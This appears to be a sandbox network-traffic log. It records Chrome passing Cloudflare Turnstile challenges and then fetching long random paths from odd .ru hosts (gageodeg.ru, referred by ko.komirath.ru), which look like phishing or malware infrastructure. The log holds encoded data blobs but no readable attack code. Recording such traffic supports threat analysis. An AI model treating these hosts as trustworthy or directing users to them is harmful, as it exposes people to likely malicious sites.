2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 62 58 47 36 71 6a 4f 37 63 44 64 34 39 37 30 71 37 54 56 73 64 72 43 74 64 43 35 33 72 33 72 36 65 45 46 2b 4d 58 41 2f 50 54 6f 77 65 6b 44 36 4e 59 52 38 51 67 55 43 4f 6b 48 7a 63 37 75 47 74 55 63 48 50 6a 6e 37 52 63 41 2b 79 55 46 47 79 4c 68 46 68 37 71 48 68 66 66 48 4f 37 77 41 50 41 63 42 78 63 41 43 43 63 5a 39 2f 51 73 2f 54 62 78 2b 7a 6f 42 49 42 73 56 2f 6a 41 65 4a 78 5a 4e 4e 79 49 36 54 42 30 4b 43 79 59 74 54 78 52 46 52 45 78 55 4f 69 74 49 58 6d 46 52 4d 6a 6c 52 58 54 42 5a 56 31 38 37 53 55 41 34 50 46 74 64 59 6a 39 42 50 47 59 74 64 32 46 44 54 31 4e 49 58 58 35 67 64 56 5a 52 59 7a 39 4f 52 58 68 36 53 56 78 69 57 32 70 66 61 6c 36 43 66 30 74 79 59 49 5a 52 54 35 64 75 57 6d 61 59 68 6e 75 4b 6d 5a 75 51 6a 47 4e 65 58 6e 70 6c Data Ascii: bXG6qjO7cDd4970q7TVsdrCtdC53r3r6eEF+MXA/PTowekD6NYR8QgUCOkHzc7uGtUcHPjn7RcA+yUFGyLhFh7qHhffHO7wAPAcBxcACCcZ9/Qs/Tbx+zoBIBsV/jAeJxZNNyI6TB0KCyYtTxRFRExUOitIXmFRMjlRXTBZV187SUA4PFtdYj9BPGYtd2FDT1NIXX5gdVZRYz9ORXh6SVxiW2pfal6Cf0tyYIZRT5duWmaYhnuKmZuQjGNeXnpl
2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 72 6d 7a 4e 4b 30 77 4d 4f 79 72 73 50 73 7a 74 54 4e 39 66 4c 49 7a 4d 4c 66 33 4f 4c 6a 38 2b 44 6d 43 75 50 72 36 74 2f 72 44 50 4c 75 34 42 50 6a 35 50 55 46 43 65 2f 6c 39 50 6f 53 36 50 7a 73 39 68 54 7a 38 68 6e 6b 35 65 45 44 43 79 50 73 48 53 48 72 4b 68 30 4e 44 67 77 48 41 79 4d 4d 47 52 76 7a 4a 68 49 53 45 69 34 4e 4f 78 70 43 46 2f 30 53 41 30 73 73 4f 43 55 6a 51 53 6f 63 48 44 34 79 44 6c 49 69 4b 52 45 6b 4f 7a 73 72 47 30 73 2f 50 45 4d 69 51 44 42 41 4d 6b 4e 63 59 53 4a 47 58 6c 34 34 52 44 78 55 53 45 35 33 61 57 31 59 52 45 74 70 56 6e 46 32 56 56 6b 35 67 6c 64 58 59 59 4a 5a 5a 31 64 72 67 47 5a 61 69 56 42 70 6b 6d 78 77 63 47 43 52 57 47 36 62 56 6c 4a 36 61 48 74 65 66 35 53 68 58 58 65 5a 6b 5a 32 44 71 34 79 49 67 33 71 70 61 Data Ascii: rmzNK0wMOyrsPsztTN9fLIzMLf3OLj8+DmCuPr6t/rDPLu4BPj5PUFCe/l9PoS6Pzs9hTz8hnk5eEDCyPsHSHrKh0NDgwHAyMMGRvzJhISEi4NOxpCF/0SA0ssOCUjQSocHD4yDlIiKREkOzsrG0s/PEMiQDBAMkNcYSJGXl44RDxUSE53aW1YREtpVnF2VVk5gldXYYJZZ1drgGZaiVBpkmxwcGCRWG6bVlJ6aHtef5ShXXeZkZ2Dq4yIg3qpa
2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 70 38 2b 61 33 74 50 4c 32 74 37 32 33 36 76 49 42 2b 67 48 55 78 77 54 63 34 63 59 46 35 50 73 49 77 75 62 49 42 4e 41 43 46 77 37 59 46 77 51 4d 31 2f 50 35 46 74 34 61 46 42 38 63 49 78 77 68 4a 78 49 46 48 43 6a 72 36 2b 66 6d 4b 78 73 6b 4d 68 38 30 45 54 55 4d 37 43 7a 7a 4a 2f 66 32 4f 2f 63 7a 4f 67 4e 43 42 54 78 43 48 77 46 42 43 45 73 38 53 41 4d 6b 50 42 41 53 46 53 56 4b 54 31 4e 48 44 6c 68 4c 48 42 6c 58 57 78 77 69 48 45 39 58 5a 56 39 6c 4f 53 78 6f 51 55 59 72 4c 47 35 47 5a 6d 35 49 61 48 51 33 64 54 46 73 50 54 52 2f 64 44 4e 75 67 45 31 38 57 46 6c 43 68 6f 4e 71 50 6f 69 47 59 56 43 4e 55 6d 46 50 6a 6c 4e 71 63 5a 61 44 64 5a 31 50 63 31 57 51 58 6e 6c 68 6d 57 42 6a 71 4a 78 6b 6c 35 4f 69 61 36 70 74 70 48 46 6f 6f 48 4f 73 73 36 Data Ascii: p8+a3tPL2t7236vIB+gHUxwTc4cYF5PsIwubIBNACFw7YFwQM1/P5Ft4aFB8cIxwhJxIFHCjr6+fmKxskMh80ETUM7CzzJ/f2O/czOgNCBTxCHwFBCEs8SAMkPBASFSVKT1NHDlhLHBlXWxwiHE9XZV9lOSxoQUYrLG5GZm5IaHQ3dTFsPTR/dDNugE18WFlChoNqPoiGYVCNUmFPjlNqcZaDdZ1Pc1WQXnlhmWBjqJxkl5Oia6ptpHFooHOss6
2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 31 65 79 39 31 39 48 32 76 39 76 52 78 73 4b 37 39 77 4c 49 43 76 63 45 79 73 50 64 42 63 37 4c 47 41 6a 53 79 2f 6b 50 31 2f 50 78 46 4e 73 4f 2b 52 4c 61 2b 2f 6b 61 34 39 73 55 49 65 66 66 47 42 37 72 48 68 4c 79 37 7a 49 57 4a 2f 4d 51 46 6a 4c 33 37 79 77 77 2b 76 64 45 4e 41 49 63 47 6a 59 45 4e 68 59 38 43 53 4d 46 50 51 63 6f 49 6b 51 51 43 45 52 4c 46 45 59 6d 55 68 67 30 4b 68 38 63 54 6a 4a 57 49 42 68 47 58 43 56 41 53 6c 38 6e 4a 48 42 66 4c 44 49 70 61 44 42 4d 59 47 6b 32 54 7a 46 76 4d 31 52 4f 64 44 78 59 54 6e 4e 41 4f 46 70 2b 52 47 42 6d 53 30 6c 6b 57 6f 56 4e 61 47 71 48 54 30 69 45 68 6c 56 51 6e 49 78 5a 69 6e 61 53 58 4a 35 79 6b 32 46 38 67 6d 64 6c 67 48 71 61 61 4b 71 43 6f 32 32 65 67 71 5a 72 6a 49 36 6d 64 62 61 6f 72 6e 71 Data Ascii: 1ey919H2v9vRxsK79wLICvcEysPdBc7LGAjSy/kP1/PxFNsO+RLa+/ka49sUIeffGB7rHhLy7zIWJ/MQFjL37yww+vdENAIcGjYENhY8CSMFPQcoIkQQCERLFEYmUhg0Kh8cTjJWIBhGXCVASl8nJHBfLDIpaDBMYGk2TzFvM1ROdDxYTnNAOFp+RGBmS0lkWoVNaGqHT0iEhlVQnIxZinaSXJ5yk2F8gmdlgHqaaKqCo22egqZrjI6mdbaornq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49742	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:35 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:35 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 08 Jan 2025 16:18:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: itsJbLtqcSUWpJBPkbk/PwZnvpmMU5Ac+WY=$eDGZAkZ9PBp2AxTT cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fed811bef5f0f7b-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49748	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:19:09 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35354 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:19:09 UTC	16384	OUT	Data Raw: 76 5f 38 66 65 64 38 30 66 35 31 64 33 65 30 66 36 64 3d 53 38 24 51 5a 78 6e 74 42 78 42 69 24 69 52 6e 47 43 24 51 54 38 6e 4c 4b 74 6e 4f 35 4b 5a 51 6e 38 78 32 4b 24 51 43 4c 4b 6d 34 4b 45 51 52 38 69 6d 4b 61 59 4b 69 36 4c 69 78 4b 2d 51 36 78 77 42 36 4b 72 4a 78 46 55 35 59 78 36 4b 58 4b 52 42 6e 6e 4b 4b 48 36 36 75 48 51 75 4f 4e 4b 76 36 69 67 4b 53 59 6c 51 4b 72 24 4c 2d 74 4b 6c 51 69 66 38 61 57 34 4b 69 52 37 72 36 69 43 50 43 65 43 43 78 67 4b 67 59 4b 4b 67 24 51 69 6a 4b 74 4a 4b 7a 4b 4b 6a 68 30 51 78 4b 66 36 4b 64 25 32 62 45 42 41 74 52 5a 42 32 73 42 70 30 59 78 4a 66 24 45 2d 4b 4e 53 4c 65 4f 55 4d 4b 4b 50 68 4b 4b 74 62 24 68 75 6d 62 36 36 75 76 6c 75 74 5a 64 62 78 38 42 6e 53 78 47 47 70 35 49 47 4e 57 58 44 78 66 61 78 Data Ascii: v_8fed80f51d3e0f6d=S8$QZxntBxBi$iRnGC$QT8nLKtnO5KZQn8x2K$QCLKm4KEQR8imKaYKi6LixK-Q6xwB6KrJxFU5Yx6KXKRBnnKKH66uHQuONKv6igKSYlQKr$L-tKlQif8aW4KiR7r6iCPCeCCxgKgYKKg$QijKtJKzKKjh0QxKf6Kd%2bEBAtRZB2sBp0YxJf$E-KNSLeOUMKKPhKKtb$humb66uvlutZdbx8BnSxGGp5IGNWXDxfax
2025-01-08 16:19:09 UTC	16384	OUT	Data Raw: 51 58 51 61 4b 75 2b 43 75 6e 4d 6c 37 66 50 59 75 36 37 4d 38 4d 31 51 6e 62 24 6a 4b 24 51 4b 42 4b 44 51 43 51 78 49 6d 6c 4b 73 54 59 4d 78 53 4b 75 75 6e 33 4b 63 64 45 5a 36 31 4b 63 4b 24 24 78 59 4b 46 50 53 24 69 44 4b 58 51 78 42 4b 74 4b 2d 51 43 42 6e 2d 4b 61 4b 4b 38 78 64 73 45 51 53 4c 78 67 4b 32 4b 30 6f 6e 6d 4b 62 4b 37 4b 6e 42 6e 53 42 69 2d 6e 62 4a 45 4a 75 75 4b 68 51 79 51 43 35 33 48 51 43 4b 4b 51 69 58 4b 52 51 75 36 6e 64 41 67 38 71 38 78 41 4a 65 36 4b 61 78 65 51 7a 63 42 50 6e 63 41 78 4c 24 4b 37 24 4b 51 51 79 72 4b 30 4b 34 4b 54 51 78 64 51 67 4b 6e 6c 6e 66 4b 6c 51 71 6a 78 74 4b 51 6d 24 74 6e 4a 6e 6f 4b 4b 24 69 73 4b 6e 4b 24 4c 4b 64 67 4e 75 68 51 4b 37 4b 77 51 6e 4c 4b 30 4b 4c 54 68 31 6e 73 4b 6c 49 71 24 Data Ascii: QXQaKu+CunMl7fPYu67M8M1Qnb$jK$QKBKDQCQxImlKsTYMxSKuun3KcdEZ61KcK$$xYKFPS$iDKXQxBKtK-QCBn-KaKK8xdsEQSLxgK2K0onmKbK7KnBnSBi-nbJEJuuKhQyQC53HQCKKQiXKRQu6ndAg8q8xAJe6KaxeQzcBPncAxL$K7$KQQyrK0K4KTQxdQgKnlnfKlQqjxtKQm$tnJnoKK$isKnK$LKdgNuhQK7KwQnLK0KLTh1nsKlIq$
2025-01-08 16:19:09 UTC	2586	OUT	Data Raw: 51 45 6e 6a 76 7a 6c 4a 4b 64 4a 24 43 43 59 68 6e 4b 69 73 5a 31 68 78 58 64 70 45 63 54 51 72 30 6a 78 65 4b 7a 55 68 31 78 4e 52 33 4a 4e 46 79 48 4b 42 42 4c 4a 69 44 4f 30 2d 6d 61 4b 2b 38 65 6c 46 2d 78 63 34 65 36 52 6f 43 44 4b 57 38 4b 77 46 7a 4b 59 36 31 47 43 7a 24 56 50 36 6e 4b 66 24 31 73 54 67 7a 73 4f 5a 76 2b 70 6e 68 69 44 43 4c 6d 38 66 4b 44 45 78 36 69 52 39 50 6a 6d 45 4a 2d 34 43 6f 78 4e 45 55 69 74 7a 34 4a 78 6d 51 66 42 37 65 50 78 43 4f 50 43 48 7a 2d 69 32 4a 6e 4c 4b 41 57 67 4b 52 34 72 42 4b 50 4c 78 2d 4b 75 4b 4a 44 76 6f 58 4c 43 35 2b 71 42 4b 24 6c 43 4b 6e 64 51 38 45 6d 7a 32 53 4e 77 33 31 7a 45 54 30 64 57 50 70 70 65 71 50 4b 36 36 6e 55 67 4d 4b 35 51 37 51 6f 52 6e 31 7a 70 2b 67 7a 39 54 52 45 57 78 78 31 4a Data Ascii: QEnjvzlJKdJ$CCYhnKisZ1hxXdpEcTQr0jxeKzUh1xNR3JNFyHKBBLJiDO0-maK+8elF-xc4e6RoCDKW8KwFzKY61GCz$VP6nKf$1sTgzsOZv+pnhiDCLm8fKDEx6iR9PjmEJ-4CoxNEUitz4JxmQfB7ePxCOPCHz-i2JnLKAWgKR4rBKPLx-KuKJDvoXLC5+qBK$lCKndQ8Emz2SNw31zET0dWPppeqPK66nUgMK5Q7QoRn1zp+gz9TREWxx1J
2025-01-08 16:19:09 UTC	274	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:19:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out: fJkR/4KT5gfT76KzMygaCe1vn4dbIA3iGZ1DNYPKtNV85Zbt+zptnEKd16Yb4qLa8tQm5FBhBSzRz5uR8MzeYhr6QG/0vFnPZxiCSRnwvQ==$YPcdoOXxRUjPuY7r
2025-01-08 16:19:09 UTC	1203	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 61 70 57 37 77 4a 4e 70 34 44 32 4a 78 70 62 43 72 35 2f 68 45 43 79 72 45 77 6a 47 78 66 67 65 52 42 6a 64 79 63 57 78 76 78 57 47 63 33 37 55 4f 45 4c 48 62 46 6f 41 32 38 48 57 4e 48 33 70 52 70 5a 77 42 56 4e 6f 74 6d 73 4e 66 30 44 73 72 53 6e 4f 47 45 7a 39 6a 56 31 4c 79 38 77 57 70 46 74 43 6e 67 67 47 63 51 56 53 49 43 45 73 4a 78 31 79 42 4f 72 32 41 4e 2f 39 31 44 44 54 77 75 6c 39 4e 63 47 79 6b 6b 33 4e 76 6c 2f 7a 44 5a 72 69 77 70 49 6f 71 72 6f 63 36 51 77 45 59 59 53 4b 74 68 57 53 56 35 67 31 6e 4b 76 58 62 71 37 44 79 59 4b 4f 38 70 4b 4b 55 50 2f 5a 57 61 6e 4b 34 67 6c 33 7a 47 65 31 49 61 72 42 37 69 64 7a 5a 55 68 44 47 30 53 5a 30 6b 61 76 75 4c 7a 6e 75 35 39 67 4e 76 4c 44 35 4b 7a 55 4e Data Ascii: cf-chl-out-s: apW7wJNp4D2JxpbCr5/hECyrEwjGxfgeRBjdycWxvxWGc37UOELHbFoA28HWNH3pRpZwBVNotmsNf0DsrSnOGEz9jV1Ly8wWpFtCnggGcQVSICEsJx1yBOr2AN/91DDTwul9NcGykk3Nvl/zDZriwpIoqroc6QwEYYSKthWSV5g1nKvXbq7DyYKO8pKKUP/ZWanK4gl3zGe1IarB7idzZUhDG0SZ0kavuLznu59gNvLD5KzUN
2025-01-08 16:19:09 UTC	1261	IN	Data Raw: 6e 70 43 32 6f 63 53 45 6e 4d 61 31 71 34 2f 49 75 38 48 42 6f 6f 75 33 72 72 66 5a 72 39 43 77 33 4d 6e 5a 6c 35 75 30 73 4c 61 58 35 64 48 54 71 61 6e 45 34 75 36 72 70 38 43 74 34 65 6e 66 73 65 58 74 7a 38 57 73 32 39 72 47 2f 50 72 79 41 2f 76 51 34 64 48 30 43 62 37 52 2b 4e 50 6a 79 2b 58 50 79 38 7a 72 79 38 30 53 30 77 41 4a 45 2b 7a 34 2b 41 6a 75 37 68 62 79 46 42 6f 54 39 67 49 49 4a 79 72 39 4b 51 4c 2b 34 43 6e 76 37 6a 45 78 4d 2f 55 4f 4f 66 48 33 45 54 67 4a 48 6a 59 50 39 78 5a 44 4f 76 30 5a 2f 54 59 33 48 7a 77 73 50 78 34 2f 47 7a 46 54 50 41 77 77 48 6c 51 58 4b 69 67 6b 57 54 35 48 4f 78 70 4d 4c 56 56 46 56 6a 64 6e 5a 32 4d 32 51 69 68 5a 59 53 6c 42 53 30 31 44 61 47 4a 50 4e 32 4a 4a 55 44 73 37 57 57 6f 2b 61 48 5a 2f 51 6e 57 Data Ascii: npC2ocSEnMa1q4/Iu8HBoou3rrfZr9Cw3MnZl5u0sLaX5dHTqanE4u6rp8Ct4enfseXtz8Ws29rG/PryA/vQ4dH0Cb7R+NPjy+XPy8zry80S0wAJE+z4+Aju7hbyFBoT9gIIJyr9KQL+4Cnv7jExM/UOOfH3ETgJHjYP9xZDOv0Z/TY3HzwsPx4/GzFTPAwwHlQXKigkWT5HOxpMLVVFVjdnZ2M2QihZYSlBS01DaGJPN2JJUDs7WWo+aHZ/QnW
2025-01-08 16:19:09 UTC	1369	IN	Data Raw: 47 78 53 63 7a 74 4f 56 48 74 56 58 31 51 38 67 58 4f 47 56 6e 4e 49 65 30 52 69 53 6d 57 4d 61 32 39 6e 6b 33 2b 41 65 4a 53 45 62 6e 68 71 69 48 4a 79 61 32 70 7a 64 6c 79 50 6a 36 4e 67 67 70 68 30 72 6d 79 77 68 6d 6d 61 61 6f 71 32 69 34 6d 75 63 34 4b 4a 76 58 65 35 69 62 43 33 75 33 71 4e 6a 35 2b 6a 6b 63 4b 31 75 4b 4c 4a 6a 4d 79 66 30 61 62 52 70 38 33 42 31 4d 4c 55 30 37 4b 76 6c 4c 4f 72 72 39 2f 4d 32 4d 4c 68 7a 74 6a 45 35 4b 6e 67 77 75 72 43 71 62 6e 72 79 75 44 51 72 39 2f 6e 37 65 2f 43 79 74 58 49 39 2f 4f 37 2f 65 7a 54 32 41 44 77 7a 39 33 55 42 50 54 6f 44 77 30 49 79 64 6b 4f 36 52 41 4d 31 41 4c 6f 35 4f 33 32 42 68 38 49 36 64 66 72 43 79 41 6c 33 42 45 6f 35 2b 45 41 42 2f 58 33 41 69 6f 44 2b 53 34 54 46 6a 58 30 49 50 66 78 Data Ascii: GxScztOVHtVX1Q8gXOGVnNIe0RiSmWMa29nk3+AeJSEbnhqiHJya2pzdlyPj6Nggph0rmywhmmaaoq2i4muc4KJvXe5ibC3u3qNj5+jkcK1uKLJjMyf0abRp83B1MLU07KvlLOrr9/M2MLhztjE5KngwurCqbnryuDQr9/n7e/CytXI9/O7/ezT2ADwz93UBPToDw0IydkO6RAM1ALo5O32Bh8I6dfrCyAl3BEo5+EAB/X3AioD+S4TFjX0IPfx
2025-01-08 16:19:09 UTC	1369	IN	Data Raw: 35 56 62 32 46 45 50 33 55 2f 58 6e 79 49 59 6c 2b 42 69 34 46 35 59 48 43 47 67 6f 70 50 6b 58 70 34 6b 6c 61 47 6a 6f 43 57 67 59 43 61 6c 34 61 45 59 35 6d 53 65 47 68 32 66 59 6c 6e 62 62 4a 79 6e 6f 4f 70 69 5a 65 48 71 33 46 35 62 6f 61 36 75 35 56 36 6c 35 4b 68 77 63 43 38 6f 73 4b 66 6e 72 65 48 6f 34 32 6c 79 38 32 4b 6b 6f 79 4e 77 36 53 74 32 70 61 62 79 4d 69 37 33 62 72 61 6d 2b 58 47 32 37 79 61 79 72 4c 6c 36 73 62 41 75 4f 33 64 72 4b 76 6b 34 75 76 55 37 4f 54 62 37 66 4c 52 7a 64 47 32 38 4f 48 4c 2f 74 50 39 37 39 6a 6d 31 38 66 55 35 52 44 6f 34 65 73 47 38 78 55 4a 44 76 44 31 39 64 55 50 39 2f 6f 52 32 74 62 38 46 50 77 51 41 77 50 6d 4b 41 50 30 42 51 6f 67 49 52 77 50 42 51 41 4d 4d 68 45 59 42 50 49 4f 38 51 51 73 45 54 41 2b 41 Data Ascii: 5Vb2FEP3U/XnyIYl+Bi4F5YHCGgopPkXp4klaGjoCWgYCal4aEY5mSeGh2fYlnbbJynoOpiZeHq3F5boa6u5V6l5KhwcC8osKfnreHo42ly82KkoyNw6St2pabyMi73bram+XG27yayrLl6sbAuO3drKvk4uvU7OTb7fLRzdG28OHL/tP979jm18fU5RDo4esG8xUJDvD19dUP9/oR2tb8FPwQAwPmKAP0BQogIRwPBQAMMhEYBPIO8QQsETA+A
2025-01-08 16:19:09 UTC	625	IN	Data Raw: 58 5a 6d 56 4c 56 47 42 2b 57 47 4e 6b 62 46 2b 4e 61 4a 5a 4f 57 47 70 6b 64 48 70 78 6a 6d 64 53 65 6e 78 78 66 6f 46 78 65 36 47 65 68 33 69 49 6f 48 39 33 72 6f 31 2f 6d 35 47 49 67 4c 47 74 6a 62 75 63 69 4a 68 31 6e 5a 65 56 6a 36 4f 36 75 71 43 51 70 4b 69 72 6f 4a 57 6c 76 73 75 74 70 64 4b 6f 6f 4d 57 79 6b 37 53 31 7a 61 79 78 76 4b 6d 37 32 62 44 6a 79 38 48 41 73 4b 54 44 75 73 62 57 31 37 37 4f 72 71 6a 43 30 36 76 4a 30 4e 44 74 36 4f 76 78 77 2b 2f 56 79 64 7a 59 33 4d 37 59 33 76 72 33 75 65 58 38 31 4e 6a 68 41 4f 72 73 34 2b 50 4b 35 39 54 76 38 65 45 45 37 65 76 38 35 75 30 52 47 77 73 56 2f 76 48 2b 2b 67 45 53 49 51 58 6c 47 77 6b 4e 43 51 55 4a 44 53 4d 46 49 52 49 44 42 67 6f 57 46 78 6b 62 47 54 49 68 44 42 38 31 4c 78 73 65 49 52 Data Ascii: XZmVLVGB+WGNkbF+NaJZOWGpkdHpxjmdSenxxfoFxe6Geh3iIoH93ro1/m5GIgLGtjbuciJh1nZeVj6O6uqCQpKiroJWlvsutpdKooMWyk7S1zayxvKm72bDjy8HAsKTDusbW177OrqjC06vJ0NDt6Ovxw+/VydzY3M7Y3vr3ueX81NjhAOrs4+PK59Tv8eEE7ev85u0RGwsV/vH++gESIQXlGwkNCQUJDSMFIRIDBgoWFxkbGTIhDB81LxseIR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49749	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:19:10 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:19:10 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 08 Jan 2025 16:19:10 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 28v6jNEVVg0N9UGVTyIUgdCYv0Odl57BBoo=$hxdufa2ICyBDUlGz Server: cloudflare CF-RAY: 8fed81f71e7cc47a-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:19:10 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49751	104.21.32.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:19:11 UTC	674	OUT	GET /FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP HTTP/1.1 Host: f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ko.komirath.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:19:11 UTC	908	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kRhG0WpIOECeJMGOTsbjDYu5%2F5B92%2BkSzbI5txcjFB2Uv9hgPQu06e78785%2FAOlFWseopQn%2FBO4svbCmh5WNssuVfw%2FzVJPB%2Fxdx9%2B6V0%2BIGGgrE3iFUH7x0oFcnl5YsqDH02Ev6EpP%2Fo4Jz7Hbh9jPYDjTe2pWJfOqOyixzECLUu9cgc1BL9ognWpms8BpVlB1XMtianInjqZo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed81fab83a41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1596&rtt_var=617&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1252&delivery_rate=1748502&cwnd=241&unsent_bytes=0&cid=c51884719c6535c3&ts=583&x=0"
2025-01-08 16:19:11 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-08 16:19:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49754	104.21.48.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:19:12 UTC	472	OUT	GET /FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP HTTP/1.1 Host: f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
